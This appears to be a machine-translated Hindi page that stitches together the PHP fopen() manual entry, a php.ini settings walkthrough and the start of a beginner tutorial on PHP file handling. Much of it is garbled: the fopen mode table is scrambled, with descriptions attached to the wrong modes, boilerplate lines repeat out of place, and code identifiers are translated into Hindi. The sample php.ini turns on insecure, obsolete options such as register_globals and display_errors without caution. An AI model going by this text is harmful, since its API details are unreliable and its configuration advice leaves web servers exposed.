नवीनतम लेख
घर / गेम कंसोल / PHP में फ़ाइलों के साथ कार्य करना: खोलना, लिखना, पढ़ना। क्या PHP proc_open वेब अनुरोध को रोकता है? त्रुटि प्रबंधन और लॉग

PHP में फ़ाइलों के साथ कार्य करना: खोलना, लिखना, पढ़ना। क्या PHP proc_open वेब अनुरोध को रोकता है? त्रुटि प्रबंधन और लॉग

(पीएचपी 4, पीएचपी 5, पीएचपी 7)

फॉपेन - एक फ़ाइल या यूआरएल खोलता है

विवरण

संसाधन fopen (स्ट्रिंग $फ़ाइलनाम , स्ट्रिंग $मोड [, बूल $use_include_path = गलत [, संसाधन $संदर्भ ]])

fopen()स्ट्रीम को फ़ाइल नाम तर्क में निर्दिष्ट नामित संसाधन निर्दिष्ट करता है।

मापदंडों की सूची

यदि फ़ाइल नाम को "स्कीम://..." के रूप में पारित किया जाता है, तो इसे एक यूआरएल माना जाता है और PHP उस योजना के लिए एक प्रोटोकॉल हैंडलर (जिसे "रैपर" के रूप में भी जाना जाता है) की तलाश करेगा प्रोटोकॉल, PHP आपकी स्क्रिप्ट में संभावित समस्या को ट्रैक करने में मदद करने के लिए एक चेतावनी जारी करेगी और फिर निष्पादन जारी रखेगी जैसे कि फ़ाइल नाम एक नियमित फ़ाइल की ओर इशारा कर रहा हो।

यदि PHP किसी स्थानीय फ़ाइल को इंगित करने के लिए फ़ाइल नाम सेट करता है, तो यह उस फ़ाइल में एक स्ट्रीम खोलने का प्रयास करता है।

फ़ाइल को PHP द्वारा पहुंच योग्य होना चाहिए, इसलिए आपको यह सुनिश्चित करना चाहिए कि फ़ाइल अनुमतियाँ इसकी अनुमति देती हैं।

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

यदि PHP निर्धारित करता है कि फ़ाइल नाम एक पंजीकृत प्रोटोकॉल को इंगित करता है, और वह प्रोटोकॉल नेटवर्क यूआरएल के रूप में पंजीकृत है, तो PHP अनुमति_url_fopen निर्देश की स्थिति की जांच करता है। यदि यह अक्षम है, तो PHP एक चेतावनी जारी करेगा और fopen कॉल विफल हो जाएगी।टिप्पणी समर्थित प्रोटोकॉल और रैपर अनुभाग में समर्थित प्रोटोकॉल की एक सूची उपलब्ध है।कुछ प्रोटोकॉल ( रैपर) सहायता प्रसंग).

विंडोज़ प्लेटफ़ॉर्म पर, आपको फ़ाइल पथ में सभी बैकस्लैश से बचना होगा या फ़ॉर्वर्ड स्लैश का उपयोग करना होगा।

$हैंडल = fopen('c:\\folder\\resource.txt' , 'r' );
?>

मोड पैरामीटर निर्दिष्ट करता है कि आप थ्रेड से किस प्रकार की पहुंच का अनुरोध कर रहे हैं। यह निम्नलिखित विकल्पों में से एक हो सकता है:

के लिए संभावित तरीकों की सूची fopen()मोड का उपयोग करना
तरीका विवरण
"आर" फ़ाइल को केवल पढ़ने के लिए खोलता है; पॉइंटर को फ़ाइल की शुरुआत में रखता है।
"आर+" पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; पॉइंटर को फ़ाइल की शुरुआत में रखता है।
"डब्ल्यू" केवल लिखने के लिए फ़ाइल खोलता है; फ़ाइल की शुरुआत में एक पॉइंटर रखता है और फ़ाइल को शून्य लंबाई तक छोटा कर देता है।
यदि फ़ाइल मौजूद नहीं है, तो यह उसे बनाने का प्रयास करता है। "डब्ल्यू+"
पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; फ़ाइल की शुरुआत में एक पॉइंटर रखता है और फ़ाइल को शून्य लंबाई तक छोटा कर देता है। यदि फ़ाइल मौजूद नहीं है, तो यह उसे बनाने का प्रयास करता है।
"ए" केवल लिखने के लिए फ़ाइल खोलता है; पॉइंटर को फ़ाइल के अंत में रखता है। यदि फ़ाइल मौजूद नहीं है, तो यह उसे बनाने का प्रयास करता है।
"ए+" पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; पॉइंटर को फ़ाइल के अंत में रखता है। यदि फ़ाइल मौजूद नहीं है, तो यह उसे बनाने का प्रयास करता है। fopen()"एक्स" केवल लिखने के लिए बनाता और खोलता है; पॉइंटर को फ़ाइल की शुरुआत में रखता है। यदि फ़ाइल पहले से मौजूद है, तो कॉल करेंविफलता में समाप्त होता है, वापस आ जाएगा असत्यऔर एक स्तर की त्रुटि देगा ई_चेतावनी. यदि फ़ाइल मौजूद नहीं है, तो वह इसे बनाने का प्रयास करेगा। यह झंडे निर्दिष्ट करने के बराबर है.
O_EXCL|O_CREAT आंतरिक सिस्टम कॉल के लिए "ए+".
खुला(2) "एक्स+" "डब्ल्यू"पढ़ने और लिखने के लिए बनाता और खोलता है; अन्यथा वैसा ही व्यवहार है "ए+""सी" फ़ाइल को केवल लिखने के लिए खोलता है। यदि फ़ाइल मौजूद नहीं है, तो इसे बनाया जाता है।यदि फ़ाइल मौजूद है, तो इसे छोटा नहीं किया जाता है (इसके विपरीत)। "डब्ल्यू"), और इस फ़ंक्शन को कॉल करने से कोई त्रुटि नहीं होती है (जैसा कि मामले में है)। ). फ़ाइल पॉइंटर फ़ाइल की शुरुआत में सेट किया जाएगा। यदि आप किसी फ़ाइल को लॉक करना चाहते हैं तो यह उपयोगी हो सकता है (देखें)।झुंड()
) बदलने से पहले, उपयोग के बाद से लॉक प्राप्त होने से पहले फ़ाइल को छोटा कर सकते हैं (यदि आप फ़ाइल को छोटा करना चाहते हैं, तो आप फ़ंक्शन का उपयोग कर सकते हैं खुला(2).

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

फ़ट्रंकट() अवरोधन अनुरोध के बाद)।"सी+" पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; अन्यथा वैसा ही व्यवहार हैऑपरेटिंग सिस्टम के विभिन्न परिवारों में लाइन एंडिंग के संबंध में अलग-अलग परंपराएं होती हैं। जब आप पाठ लिख रहे हैं और एक पंक्ति विराम सम्मिलित करना चाहते हैं, तो आपको अपने लिए सही वर्ण (या प्रतीक) का उपयोग करना होगा ऑपरेटिंग सिस्टम. यूनिक्स परिवार प्रणाली का उपयोग \एनपंक्ति वर्ण, प्रणाली के अंत के रूप में विंडोज़ परिवारपंक्ति वर्ण के अंत के रूप में।

यदि आप फ़ाइलों को संपादित करते समय गलत पंक्ति अंत वर्ण का उपयोग करते हैं, तो आप पाएंगे कि जब आप उन्हें खोलते हैं तो वे फ़ाइलें "अजीब" दिखती हैं।

विंडोज़ एक टेक्स्ट ब्रॉडकास्ट मोड फ़्लैग प्रदान करता है ( "टी"), जो स्वचालित रूप से अनुवादित हो जाएगा पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; अन्यथा वैसा ही व्यवहार हैवी \एनफ़ाइल के साथ काम करते समय. और इसके विपरीत - आप भी उपयोग कर सकते हैं"बी" और इसके विपरीत - आप भी उपयोग कर सकते हैंबाइनरी मोड को बाध्य करने के लिए, जो आपके डेटा को परिवर्तित नहीं करेगा। इन मोड का उपयोग करने के लिए निर्दिष्ट करें "टी"या

मोड पैरामीटर का अंतिम अक्षर. "टी"चूँकि डिफ़ॉल्ट अनुवाद फ़्लैग सेटिंग SAPI और आपके द्वारा उपयोग किए जा रहे PHP के संस्करण पर निर्भर करती है, हम अनुशंसा करते हैं कि आप पोर्टेबिलिटी कारणों से निर्दिष्ट फ़्लैग को स्पष्ट रूप से सेट करें। आपको मोड का उपयोग करना चाहिए यदि आप साथ काम कर रहे हैंपाठ फ़ाइल पढ़ने और लिखने के लिए एक फ़ाइल खोलता है; अन्यथा वैसा ही व्यवहार हैऔर उपयोग करें और इसके विपरीत - आप भी उपयोग कर सकते हैं.

नोटपैड जैसे अन्य अनुप्रयोगों में अपनी फ़ाइलों की पठनीयता के बारे में चिंता किए बिना अपनी स्क्रिप्ट में एक पंक्ति के अंत को चिह्नित करने के लिए। अन्य सभी मामलों में, ध्वज का उपयोग करें \एन.

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

यदि आप बाइनरी फ़ाइलों के साथ काम करते समय स्पष्ट रूप से "बी" ध्वज निर्दिष्ट नहीं करते हैं, तो आप अपने डेटा के अजीब भ्रष्टाचार का अनुभव कर सकते हैं, जिसमें दूषित छवि फ़ाइलें और अजीब प्रतीक समस्याएं शामिल हैं fopen() .

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

पोर्टेबिलिटी कारणों से, फ़ाइलें खोलते समय हमेशा "बी" ध्वज का उपयोग करने की दृढ़ता से अनुशंसा की जाती है "टी"इसके अतिरिक्त, पोर्टेबिलिटी कारणों से, इस पर निर्भर विरासत कोड को फिर से लिखने की भी दृढ़ता से अनुशंसा की जाती है और इसके विपरीत - आप भी उपयोग कर सकते हैं.

ताकि इसके स्थान पर उचित पंक्ति अंत और मोड का उपयोग किया जा सके

उपयोग_शामिल_पथ वैकल्पिक तीसरा पैरामीटर use_include_path को "1" या पर सेट किया जा सकता हैसत्य

यदि आप भी include_path में किसी फ़ाइल को खोजना चाहते हैं।

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।: प्रसंग PHP 5.0.0 में संदर्भ समर्थन जोड़ा गया था। विवरण के लिएसंदर्भों

स्ट्रीम अनुभाग देखें.

मान लौटाएँ केवल लिखने के लिए बनाता और खोलता है; पॉइंटर को फ़ाइल की शुरुआत में रखता है। यदि फ़ाइल पहले से मौजूद है, तो कॉल करेंसफल होने पर फ़ाइल पर एक पॉइंटर लौटाता है, या

त्रुटि के मामले में.

त्रुटियाँ असत्ययदि फ़ाइल नहीं खोली जा सकी, तो एक स्तर की त्रुटि उत्पन्न होगी

. आप इस त्रुटि को दबाने के लिए ऑपरेटर का उपयोग कर सकते हैं।

परिवर्तनों की सूची

उदाहरण fopen()

उदाहरण #1 उपयोग के उदाहरण
$हैंडल = fopen("/home/rasmus/file.txt", "r");
$हैंडल = fopen('/home/rasmus/file.gif' , 'wb' );
$हैंडल = fopen('http://www.example.com/', 'r'); $हैंडल = फ़ोपेन ( "एफ़टीपी://उपयोगकर्ता:[ईमेल सुरक्षित]/somefile.txt"
?>

, "डब्ल्यू" );

टिप्पणियाँ

ध्यान एसएसएल का उपयोग करते समय, माइक्रोसॉफ्ट आईआईएस संकेतक भेजे बिना कनेक्शन बंद करके प्रोटोकॉल का उल्लंघन करता है. जैसे ही आप डेटा के अंत तक पहुंचेंगे PHP इसे "एसएसएल: घातक प्रोटोकॉल त्रुटि" के रूप में रिपोर्ट करेगा। इससे निजात पाने के लिए, आपको error_reporting को ऐसे स्तर पर सेट करना चाहिए जिसमें E_WARNING शामिल न हो। PHP संस्करण 4.3.7 और पुराने यह पता लगा सकते हैं कि रैपर का उपयोग करके स्ट्रीम खोलते समय सर्वर साइड पर एक समस्याग्रस्त IIS है https://और कोई चेतावनी प्रदर्शित नहीं करता. यदि आप उपयोग कर रहे हैं fsockopen()उत्पन्न करना एसएसएल://सॉकेट, इस चेतावनी का पता लगाना और उसे दबाना आपकी ज़िम्मेदारी है।

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।: जब सुरक्षित मोड विकल्प सक्षम किया जाता है, तो PHP जाँचता है कि जिस निर्देशिका के साथ आप काम करने जा रहे हैं उसका यूआईडी (स्वामी) वही है जो स्क्रिप्ट निष्पादित हो रही है।

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

यदि आपको फ़ाइलें पढ़ते या लिखते समय समस्या आती है और आप सर्वर मॉड्यूल के रूप में PHP का उपयोग कर रहे हैं, तो सुनिश्चित करें कि सर्वर प्रक्रिया के पास आपके द्वारा उपयोग की जा रही फ़ाइलों और निर्देशिकाओं तक पहुंच है।

यदि आपने सुरक्षित मोड या open_basedir सक्षम किया है तो आगे प्रतिबंध लागू होते हैं।:

यदि फ़ाइल नाम एक निर्देशिका है तो यह फ़ंक्शन भी सफल हो सकता है। यदि आप निश्चित नहीं हैं कि फ़ाइल नाम एक फ़ाइल है या निर्देशिका, तो आपको फ़ंक्शन का उपयोग करने की आवश्यकता है is_dir() fopen() .

, कॉल से पहले

  1. Php.ini फ़ाइल का स्थान उस ऑपरेटिंग सिस्टम पर निर्भर करता है जिस पर होस्टिंग प्रदाता का सर्वर चल रहा है। यह कहां है यह जानने के लिए, 4 सरल चरणों का पालन करें:
  2. एक php फ़ाइल बनाएं (नाम कुछ भी हो सकता है, लेकिन हम उदाहरण के तौर पर myphpinfo.php लेते हैं), और इसमें निम्नलिखित पंक्तियाँ जोड़ें:
  3. इस फ़ाइल को उस सर्वर पर अपलोड करें जहां आपकी साइट स्थित है (रूट फ़ोल्डर में)।
  4. हम ब्राउज़र के माध्यम से लॉन्च करते हैं (यूआरएल https://yoursitename.com/myphpinfo.php दर्ज करें)।

दिखाई देने वाली विंडो में, php.ini का पथ देखें (पहले "लोड की गई कॉन्फ़िगरेशन फ़ाइल" देखें, यदि यह "कोई नहीं" कहता है, तो "कॉन्फ़िगरेशन फ़ाइल (php.ini) पथ" देखें)।

Php.ini को कैसे कॉन्फ़िगर करें? Php.ini फ़ाइल में निम्नलिखित सिंटैक्स नियम "निर्देश = मान" हैं। यदि आप टिप्पणियाँ जोड़ना चाहते हैं (उदाहरण के लिए, जिसमें आप इंगित करते हैं कि क्या प्रभावित करता हैयह सेटिंग

), फिर इसे अर्धविराम के बाद करें (इस चिह्न के बाद आने वाली हर चीज़ को कमांड के रूप में नहीं गिना जाता है)। यहाँ एक उदाहरण है:

अधिकतम_निष्पादन_समय = 40 ; स्क्रिप्ट निष्पादन के लिए सेकंड की अधिकतम संख्या

सामान्य सेटिंग्स

PHPengine = चालू ; PHP स्क्रिप्ट सक्षम हैं.

शॉर्ट_ओपन_टैग = चालू ; टैग के साथ PHP कोड की सरलीकृत फ़्रेमिंग की अनुमति देता है<% %>

Asp_tags = चालू ; PHP कोड को हाइलाइट करने की क्षमता सक्षम करता है, जैसा कि ASP में किया जाता है -

परिशुद्धता = 12 ; निर्दिष्ट करता है कि फ़्लोटिंग पॉइंट संख्याओं के लिए दशमलव बिंदु के बाद कितने अंक होंगे।

आउटपुट_बफ़रिंग = 4096; आउटपुट बफ़रिंग स्वचालित रूप से सक्षम हो जाएगी, बफ़र आकार "बराबर" के बाद निर्दिष्ट किया जाएगा।

Safe_mode_allowed_env_vars = PHP_ ; उपयोगकर्ता को केवल PHP_ से शुरू होने वाले पर्यावरण चर के साथ काम करने की अनुमति देता है। यदि यह निर्देश खाली है (इसका कोई मूल्य नहीं होगा), तो उपयोगकर्ता किसी भी पर्यावरण चर को बदलने में सक्षम होंगे। यह स्क्रिप्ट सुरक्षा के लिए बहुत हानिकारक हो सकता है।

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; अल्पविराम द्वारा अलग किए गए सूचीबद्ध चर को बदलने पर रोक लगाता है।

अक्षम_फ़ंक्शन = ; समान चिह्न के बाद, आपको उन कार्यों को लिखना होगा जिन्हें आप अक्षम करना चाहते हैं, अल्पविराम से अलग करना (आमतौर पर यह सुरक्षा के लिए किया जाता है)

अक्षम_वर्ग = ; "बराबर" चिह्न के बाद, आपको उन वर्गों को अल्पविराम से अलग करके लिखना होगा जिनकी कॉलिंग पर आप रोक लगाना चाहते हैं (आमतौर पर यह सुरक्षा के लिए किया जाता है)

संसाधन सीमा

अधिकतम_निष्पादन_समय = 40 ; स्क्रिप्ट निष्पादन के लिए अधिकतम समय (सेकंड में)

Max_input_time = 40 ; लोड किए जा रहे डेटा को संसाधित करने के लिए स्क्रिप्ट को दिया गया सेकंड में अधिकतम समय।

मेमोरी_लिमिट = 16एम; एक स्क्रिप्ट के लिए आवंटित अधिकतम मेमोरी

त्रुटि प्रबंधन और लॉग

त्रुटि_रिपोर्टिंग = E_ALL | ई_त्रुटि | ई_चेतावनी | ई_पार्से | E_CORE_ERROR | ई_कोर_चेतावनी | E_COMPILE_ERROR | ई_संकलन_चेतावनी | E_USER_ERROR | E_USER_चेतावनी | E_USER_नोटिस; प्रदर्शित की जा सकने वाली त्रुटियों की एक सूची निर्दिष्ट करता है।

डिस्प्ले_त्रुटियाँ = चालू; त्रुटियों को सीधे ब्राउज़र में प्रदर्शित करने की अनुमति देता है (अक्सर डिबगिंग में आसानी के लिए उपयोग किया जाता है)।

डिस्प्ले_स्टार्टअप_त्रुटियाँ = चालू; PHP स्टार्टअप के दौरान दिखाई देने वाली त्रुटियों को दिखाने की अनुमति है।

लॉग_त्रुटि = चालू ; त्रुटियों को लॉग फ़ाइल में लिखने की अनुमति है।

लॉग_एरर्स_मैक्स_लेन = 1024; लॉग लंबाई में वर्णों की अधिकतम संख्या हो सकती है.

ट्रैक_त्रुटियां = चालू ; नवीनतम त्रुटि संदेश $php_errormsg वेरिएबल में संग्रहीत किए जाएंगे

Html_errors = चालू ; त्रुटि संदेशों को HTML में प्रदर्शित होने की अनुमति दें।

त्रुटि_लॉग = फ़ाइल नाम; त्रुटि लॉग का नाम सेट करता है।

डाटा प्रासेसिंग

वेरिएबल्स_ऑर्डर = "ईजीपीसीएस"; उस क्रम को सेट करता है जिसमें PHP वेरिएबल्स को पंजीकृत करेगा (ई - बिल्ट-इन वेरिएबल्स, जी - जीईटी वेरिएबल्स, पी - पोस्ट वेरिएबल्स, सी - कुकीज़, एस - सेशन)। यदि आप कोई भी अक्षर हटाते हैं, तो संबंधित चर का संचालन अवरुद्ध हो जाएगा।

रजिस्टर_ग्लोबल्स = चालू ; GET/POST/कुकी/सत्र के माध्यम से आने वाले वेरिएबल्स को सामान्य वेरिएबल (उदाहरण के लिए "$variablename") के रूप में मानने की क्षमता सक्षम करता है।

रजिस्टर_argc_argv = चालू ; इसे GET विधि से मिली जानकारी के आधार पर $argv और $argc वेरिएबल बनाने की अनुमति है।

पोस्ट_मैक्स_आकार = 8एम; प्राप्त किये जा सकने वाले डेटा की अधिकतम मात्रा निर्धारित करता है।

मैजिक_कोट्स_जीपीसी = चालू ; POST/GET/कुकी के माध्यम से प्राप्त उद्धरणों के स्वचालित प्रसंस्करण को सक्षम करता है।

ऑटो_प्रीपेन्ड_फ़ाइल = ; इन निर्देशों में निर्दिष्ट फ़ाइलों की सामग्री को स्क्रिप्ट निष्पादित करने से पहले PHP द्वारा तदनुसार संसाधित किया जाना चाहिए
auto_append_file = ; इन निर्देशों में निर्दिष्ट फ़ाइलों की सामग्री को स्क्रिप्ट निष्पादित होने के बाद PHP द्वारा तदनुसार संसाधित किया जाना चाहिए।

Default_mimetype = "text/html" ; सामग्री-प्रकार के लिए एन्कोडिंग सेट करता है। डिफ़ॉल्ट रूप से टेक्स्ट/एचटीएमएल का उपयोग एन्कोडिंग निर्दिष्ट किए बिना किया जाएगा

Doc_root = ; PHP स्क्रिप्ट के लिए रूट फ़ोल्डर सेट करता है।

एक्सटेंशन_डीआईआर = "./" ; उस फ़ोल्डर को निर्दिष्ट करता है जिसमें गतिशील रूप से लोड किए गए एक्सटेंशन संग्रहीत किए जाएंगे।

फ़ाइलें अपलोड हो रही हैं

फ़ाइल_अपलोड = चालू ; सर्वर पर फ़ाइलें अपलोड करने की अनुमति है.

अपलोड_tmp_dir = ; डाउनलोड की जाने वाली फ़ाइलों के लिए अस्थायी निर्देशिका।

Upload_max_filesize = 2M ; अपलोड किया जा सकने वाला अधिकतम फ़ाइल आकार निर्धारित करता है।

सॉकेट के साथ काम करना

user_agent='PHP' ; सॉकेट कनेक्शन होने पर USER_AGENT वैरिएबल सेट किया जाता है।

डिफ़ॉल्ट_सॉकेट_टाइमआउट = 30; सॉकेट पर सुनने का अधिकतम समय (सेकंड)।

सत्र

session.save_handler = फ़ाइलें; निर्दिष्ट करता है कि सत्र की जानकारी फ़ाइलों में संग्रहीत की जानी चाहिए

session.save_path = /tmp; समान चिह्न के बाद, आपको उस फ़ोल्डर का पथ निर्दिष्ट करना होगा जिसमें सत्रों के बारे में जानकारी संग्रहीत की जाएगी (यह महत्वपूर्ण है कि फ़ोल्डर पहले से मौजूद हो)

session.use_cookies = 1 ; सत्रों में कुकीज़ के उपयोग की अनुमति देता है

session.name = PHPSESSID ; सत्र नाम और सत्र कुकी के रूप में सत्र आईडी के उपयोग को इंगित करता है

session.cookie_lifetime = 0; सत्र जीवनकाल ("0" का अर्थ है कि सत्र ब्राउज़र विंडो बंद होने तक रहता है)

session.use_trans_sid = 1; यदि उपयोगकर्ता ने कुकीज़ अक्षम कर दी है, तो सत्र आईडी सभी लिंक में जोड़ दी जाएगी

गतिशील एक्सटेंशन

एक्सटेंशन=मॉड्यूलनाम.एक्सटेंशन; बाहरी मॉड्यूल लोड करने के लिए इस्तेमाल किया जा सकता है। विंडोज़ सिस्टम के लिए, वे आमतौर पर एक्सटेंशन=msql.dll, और for लिखते हैं
यूनिक्स - एक्सटेंशन=msql.so

MySQL मॉड्यूल के साथ कार्य करना

mysql.allow_persistent = चालू ; स्थिर MySQL कनेक्शन की अनुमति देता है।

Mysql.max_persistent = -1; स्थिर MySQL कनेक्शन की अधिकतम संख्या निर्धारित करता है। यदि आप -1 निर्दिष्ट करते हैं, तो इसका मतलब यह होगा कि कोई प्रतिबंध नहीं हैं।

Mysql.max_links = -1; स्थिर MySQL कनेक्शन और अस्थिर ODBC कनेक्शन की अधिकतम संख्या निर्धारित करता है। यदि आप -1 निर्दिष्ट करते हैं, तो इसका मतलब यह होगा कि कोई प्रतिबंध नहीं हैं।

Mysql.default_port = ; Mysql_connect फ़ंक्शन के लिए पोर्ट।

Mysql.default_socket = ; स्थानीय MySQL कनेक्शन के लिए सॉकेट नाम.

Mysql.default_host = ; Mysql_connect फ़ंक्शन के लिए होस्टनाम।

Mysql.default_user = ; उपयोगकर्ता नाम.

Mysql.default_password = ; पासवर्ड।

यदि आपने अपनी स्वयं की php.ini फ़ाइल बनाई है और उसे साइट फ़ोल्डर में रखा है

इस मामले में, सुरक्षा कारणों से, आपको अपने अलावा सभी के लिए इसकी पहुंच को ब्लॉक करना होगा। ऐसा करने के लिए, आपको .htaccess फ़ाइल में निम्नलिखित कोड लिखना होगा:


आदेश दें, अनुमति दें, अस्वीकार करें
सब से इनकार

लेकिन सावधान रहें, क्योंकि... इन सेटिंग्स के साथ, .htaccess फ़ाइल के माध्यम से php सेटिंग्स से संबंधित सभी निर्देश (php_value, php_flag, आदि) काम करना बंद कर देंगे (500 आंतरिक सर्वर त्रुटि प्रदर्शित की जाएगी)।

महत्वपूर्ण! यदि आप अपनी स्वयं की php.ini फ़ाइल बनाते हैं, तो यह केवल उस निर्देशिका को प्रभावित करेगी जिसमें यह स्थित है।

संसाधन fopen(स्ट्रिंग फ़ाइल नाम, स्ट्रिंग मोड [, बूल उपयोग_include_path [, संसाधन zcontext]])

fopen()स्ट्रीम को फ़ाइल नाम तर्क में निर्दिष्ट नामित संसाधन निर्दिष्ट करता है। यदि फ़ाइल नाम को "स्कीम://..." के रूप में पारित किया जाता है, तो इसे एक यूआरएल माना जाता है और PHP उस योजना के लिए एक प्रोटोकॉल हैंडलर (जिसे "रैपर" के रूप में भी जाना जाता है) की तलाश करेगा प्रोटोकॉल, PHP आपकी स्क्रिप्ट में संभावित समस्या का पता लगाने में मदद करने के लिए एक नोट जारी करेगा और निष्पादन जारी रखेगा जैसे कि फ़ाइल नाम एक नियमित फ़ाइल की ओर इशारा कर रहा हो।

यदि PHP निर्णय लेता है कि फ़ाइल नाम किसी स्थानीय फ़ाइल की ओर इंगित करता है, तो वह उस फ़ाइल के लिए एक स्ट्रीम खोलने का प्रयास करेगा। फ़ाइल को PHP द्वारा पहुंच योग्य होना चाहिए, इसलिए आपको यह सुनिश्चित करना चाहिए कि फ़ाइल अनुमतियाँ इसकी अनुमति देती हैं। यदि आपके पास सुरक्षित मोड या open_basedir सक्षम है, तो आगे प्रतिबंध लागू होते हैं।

यदि PHP ने निर्णय लिया है कि फ़ाइल नाम एक पंजीकृत प्रोटोकॉल को इंगित करता है और वह प्रोटोकॉल नेटवर्क यूआरएल के रूप में पंजीकृत है, तो PHP अनुमति_url_fopen निर्देश की स्थिति की जांच करेगा। यदि यह अक्षम है, तो PHP एक चेतावनी जारी करेगा और fopen कॉल विफल हो जाएगी।

टिप्पणी:कुछ प्रोटोकॉल संदर्भ और/या php.ini विकल्पों का समर्थन करते हैं। सेट किए जा सकने वाले विकल्पों की सूची के लिए उपयुक्त प्रोटोकॉल पृष्ठ देखें। (उदाहरण के लिए, php.ini user_agent मान का उपयोग http रैपर द्वारा किया जाता है)। संदर्भों और zcontext मापदंडों के विवरण के लिए, स्ट्रीम फ़ंक्शंस अनुभाग देखें।

टिप्पणी: PHP 5.0.0 में संदर्भ समर्थन जोड़ा गया था।

टिप्पणी: PHP 4.3.2 के अनुसार, बाइनरी मोड सभी प्लेटफ़ॉर्म के लिए डिफ़ॉल्ट मोड है जो बाइनरी और टेक्स्ट मोड के बीच अंतर करता है। यदि आपको अपग्रेड करने के बाद समस्याएं आ रही हैं, तो "टी" ध्वज को वर्कअराउंड के रूप में उपयोग करने का प्रयास करें जब तक कि आप अधिक पोर्टेबिलिटी प्राप्त करने के लिए अपनी स्क्रिप्ट नहीं बदलते, जैसा कि ऊपर बताया गया है।

मोड पैरामीटर निर्दिष्ट करता है कि आप थ्रेड से किस प्रकार की पहुंच का अनुरोध कर रहे हैं। यह निम्नलिखित में से एक हो सकता है:

यदि फ़ाइल नहीं खोली जा सकी, तो फ़ंक्शन वापस आ जाएगा असत्यऔर एक लेवल त्रुटि उत्पन्न करेगा ई_चेतावनी. आप इसका उपयोग इस चेतावनी को दबाने के लिए कर सकते हैं।


उदाहरण 1. फ़ंक्शन का उपयोग करने के उदाहरण fopen()

उदाहरण #1 उपयोग के उदाहरण
$हैंडल = fopen("/home/rasmus/file.txt", "r");
$हैंडल = fopen('/home/rasmus/file.gif' , 'wb' );
$हैंडल = fopen('http://www.example.com/', 'r'); $हैंडल = फ़ोपेन ( "एफ़टीपी://उपयोगकर्ता:[ईमेल सुरक्षित]/somefile.txt"
?>

यदि आपको फ़ाइलें पढ़ते या लिखते समय समस्या आती है और आप सर्वर मॉड्यूल के रूप में PHP का उपयोग कर रहे हैं, तो सुनिश्चित करें कि सर्वर प्रक्रिया के पास आपके द्वारा उपयोग की जा रही फ़ाइलों और निर्देशिकाओं तक पहुंच है।

16.5K

वास्तव में, php फ़ाइल को कैसे खोलें यह कोई बड़ी समस्या नहीं है। जब आप जंगल के बीच में हों तो बीयर की बोतल खोलना कठिन हो सकता है। लेकिन केवल शौकीन प्रोग्रामर ही इस तरह सोचते हैं। और शुरुआती लोगों के लिए, हम आपको फ़ाइलों के साथ काम करने के लिए PHP की सभी क्षमताओं के बारे में बताएंगे:

php फ़ाइलें

Php एक्सटेंशन वाली फ़ाइलों में उसी नाम की प्रोग्रामिंग भाषा में लिखा गया कोड होता है। अन्य भाषाओं के विपरीत, php एक सर्वर-साइड प्रोग्रामिंग भाषा है। यानी यह सर्वर साइड पर चलता है. इसलिए, इसके कोड को डीबग करने के लिए, क्लाइंट मशीन पर एक स्थानीय सर्वर स्थापित किया जाना चाहिए।

PHP फ़ाइलों के साथ काम करने के लिए, विशेष एप्लिकेशन का उपयोग किया जाता है - सॉफ़्टवेयर संपादक। सबसे आम हैं:

  • ड्रीमविवर।
  • PHPसंपादन.
  • ग्रहण PHP विकास।
PHP पर आधारित वेबसाइट बनाते समय, आपको प्रोग्राम कोड का पुन: उपयोग करने की आवश्यकता हो सकती है। ऐसी स्थितियों में, किसी अन्य फ़ाइल में स्थित तैयार समाधानों को कनेक्ट करना सुविधाजनक होता है। इसके लिए include निर्माण का उपयोग किया जाता है। इसका सिंटैक्स है:

फ़ाइल नाम शामिल करें

कनेक्शन उदाहरण:

शामिल फ़ाइल:


आवश्यकता निर्माण का उपयोग करके फ़ाइल को शामिल करना भी संभव है। शामिल के विपरीत, इसमें प्रोग्राम कोड निष्पादित होने से पहले फ़ाइल शामिल होती है। कोड में require का उपयोग करके, इस फ़ाइल पर केवल एक कॉल संभव है। दोबारा एक्सेस करने पर, सिस्टम एक वैश्विक त्रुटि संदेश प्रदर्शित करेगा और प्रोग्राम निष्पादन रोक देगा।

शामिल निर्माण में प्रोग्राम निष्पादन के दौरान केवल स्रोत शामिल होता है। यह php फ़ाइल को एकाधिक बार पढ़ने का समर्थन करता है। यदि कोई त्रुटि होती है, तो केवल एक चेतावनी संदेश प्रदर्शित किया जाएगा, और कोड निष्पादन अगली पंक्ति से जारी रहेगा।

फ़ाइलें खोलना और बंद करना

PHP में, फ़ाइलों के साथ सभी ऑपरेशन कई चरणों में किए जाते हैं:

  • फ़ाइल खोलना;
  • सामग्री संपादन;
  • फ़ाइल बंद हो रही है.

किसी फ़ाइल को खोलने के लिए fopen() फ़ंक्शन का उपयोग किया जाता है। इसका सिंटैक्स है:

int fopen(स्ट्रिंग फ़ाइल नाम, स्ट्रिंग मोड [, int use_include_path])

स्वीकृत तर्क:

  • स्ट्रिंग फ़ाइल नाम - फ़ाइल नाम या उसका पूर्ण पथ। यदि फ़ाइल का पथ निर्दिष्ट नहीं है, तो इसे वर्तमान निर्देशिका में खोजा जाएगा। यदि आप जिस फ़ाइल की तलाश कर रहे हैं वह गायब है, तो सिस्टम एक त्रुटि संदेश प्रदर्शित करेगा। उदाहरण:

  • स्ट्रिंग मोड - फ़ाइल खोलने के मोड को इंगित करता है। तर्क द्वारा स्वीकृत मान:
  • आर - फ़ाइल केवल पढ़ने के लिए खोली गई है, फ़ाइल पॉइंटर शुरुआत में सेट है;
  • r+ - फ़ाइल पढ़ने और लिखने के लिए खुली है;
